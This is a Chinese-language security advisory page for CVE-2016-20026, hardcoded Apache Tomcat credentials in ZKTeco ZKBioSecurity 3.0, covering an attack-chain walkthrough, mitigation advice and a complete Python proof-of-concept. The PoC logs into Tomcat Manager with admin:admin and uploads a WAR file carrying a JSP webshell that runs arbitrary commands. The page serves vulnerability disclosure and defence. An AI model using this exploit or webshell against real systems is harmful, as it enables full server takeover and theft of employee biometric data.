IPBUF安全漏洞报告
English
CVE-2016-20026 CVSS 9.8 严重

CVE-2016-20026 ZKTeco ZKBioSecurity 硬编码凭证导致远程代码执行

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2016-20026
漏洞类型
硬编码凭证/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ZKTeco ZKBioSecurity 3.0

相关标签

硬编码凭证远程代码执行ZKTecoZKBioSecurityApache TomcatWebshell上传SYSTEM权限CVSS9.8身份认证绕过

漏洞概述

CVE-2016-20026是ZKTeco ZKBioSecurity 3.0软件中的一个严重安全漏洞。该漏洞源于软件捆绑的Apache Tomcat服务器中包含硬编码凭证。攻击者可以利用这些硬编码凭证无需任何认证即可访问Tomcat Manager应用。一旦成功访问Manager,攻击者可以上传包含恶意JSP应用的WAR档案文件。由于Tomcat服务以SYSTEM权限运行,攻击者上传的恶意代码将以最高系统权限执行,从而完全控制受影响的服务器。该漏洞的CVSS评分高达9.8分,属于紧急严重级别,影响机密性、完整性和可用性三个方面。ZKBioSecurity是一款广泛应用于企业门禁和考勤管理的生物识别安全解决方案,因此该漏洞可能影响大量使用该系统进行人员管理和访问控制的企业和机构。攻击者利用此漏洞可以窃取敏感的员工生物识别数据、修改门禁权限设置,甚至将受感染系统作为进一步攻击内网的跳板。

技术细节

该漏洞的根本原因在于ZKTeco ZKBioSecurity 3.0在打包Apache Tomcat服务器时未修改默认或预设的凭证配置。具体而言,Tomcat的tomcat-users.xml配置文件包含了硬编码的管理员凭证。攻击者首先需要识别目标服务器上运行的ZKBioSecurity服务,然后使用这些硬编码凭证向Tomcat Manager应用发起认证请求。认证成功后,攻击者可以通过Manager的WAR文件上传功能将包含恶意JSP webshell的WAR档案部署到服务器。JSP webshell允许攻击者执行任意系统命令,由于Tomcat进程以SYSTEM权限运行,攻击者获得的是服务器的最高控制权限。攻击者可以利用此权限执行任意操作,包括但不限于:读取敏感文件、植入后门、横向移动到内网其他系统、窃取存储在ZKBioSecurity数据库中的员工指纹和人脸数据等生物识别信息。整个攻击过程不需要任何用户交互,也不需要事先获取任何有效凭证,完全依赖于软件中遗留的硬编码凭证。

攻击链分析

STEP 1
步骤1: 信息收集
扫描目标网络,识别运行ZKTeco ZKBioSecurity 3.0的服务器,确认Apache Tomcat服务端口(通常8080)处于开放状态
STEP 2
步骤2: 凭证尝试
使用tomcat-users.xml中存储的硬编码凭证(admin:admin或其他常见组合)向Tomcat Manager应用发起认证请求
STEP 3
步骤3: 绕过认证
成功通过认证后,访问manager/html/upload端点,该端点允许已认证用户上传WAR档案文件
STEP 4
步骤4: 恶意代码部署
构造包含恶意JSP webshell的WAR文件,通过Manager应用的上传功能将其部署到Tomcat服务器
STEP 5
步骤5: 远程代码执行
访问部署后的JSP webshell,通过cmd参数执行任意系统命令,由于Tomcat以SYSTEM权限运行,命令以最高权限执行
STEP 6
步骤6: 持久化控制
利用获得的系统权限植入后门、窃取数据、横向移动到内网其他系统,建立长期持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2016-20026 PoC - ZKTeco ZKBioSecurity Hardcoded Credentials RCE # Target: ZKTeco ZKBioSecurity 3.0 with bundled Apache Tomcat TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "http://target-server" TOMCAT_MANAGER_URL = f"{TARGET_HOST}:8080/manager/html/upload" # Hardcoded credentials typically found in tomcat-users.xml USERNAME = "admin" PASSWORD = "admin" def create_malicious_war(): """Generate JSP webshell WAR file for exploitation""" jsp_shell = '''<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String line; while((line = br.readLine()) != null) { out.println(line); } } %>''' import zipfile import io war_buffer = io.BytesIO() with zipfile.ZipFile(war_buffer, 'w', zipfile.ZIP_DEFLATED) as war: war.writestr('shell.jsp', jsp_shell) return war_buffer.getvalue() def exploit(): """Execute the exploit to upload malicious WAR and gain RCE""" session = requests.Session() # Step 1: Authenticate with hardcoded credentials auth = requests.auth.HTTPBasicAuth(USERNAME, PASSWORD) # Step 2: Upload malicious WAR file files = {'deployWar': ('malicious.war', create_malicious_war(), 'application/octet-stream')} try: response = session.post(TOMCAT_MANAGER_URL, auth=auth, files=files, timeout=30) if response.status_code == 200: print("[+] Successfully uploaded malicious WAR file!") print("[+] Access shell at: /shell/shell.jsp?cmd=whoami") else: print("[-] Exploitation failed - credentials may have been changed") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("CVE-2016-20026 ZKTeco ZKBioSecurity Exploit") exploit()

影响范围

ZKTeco ZKBioSecurity 3.0

防御指南

临时缓解措施
立即修改ZKTeco ZKBioSecurity捆绑的Apache Tomcat服务器中的所有默认凭证。具体操作:编辑<TOMCAT_HOME>/conf/tomcat-users.xml文件,删除或更改所有预置的用户账户和密码。同时,通过防火墙或IP白名单限制Tomcat Manager界面的访问来源,仅允许管理终端IP访问。如无法立即修改凭证,可暂时禁用Tomcat Manager功能或阻止外部网络对8080端口的访问。建议部署入侵检测系统监控针对该端口的可疑访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表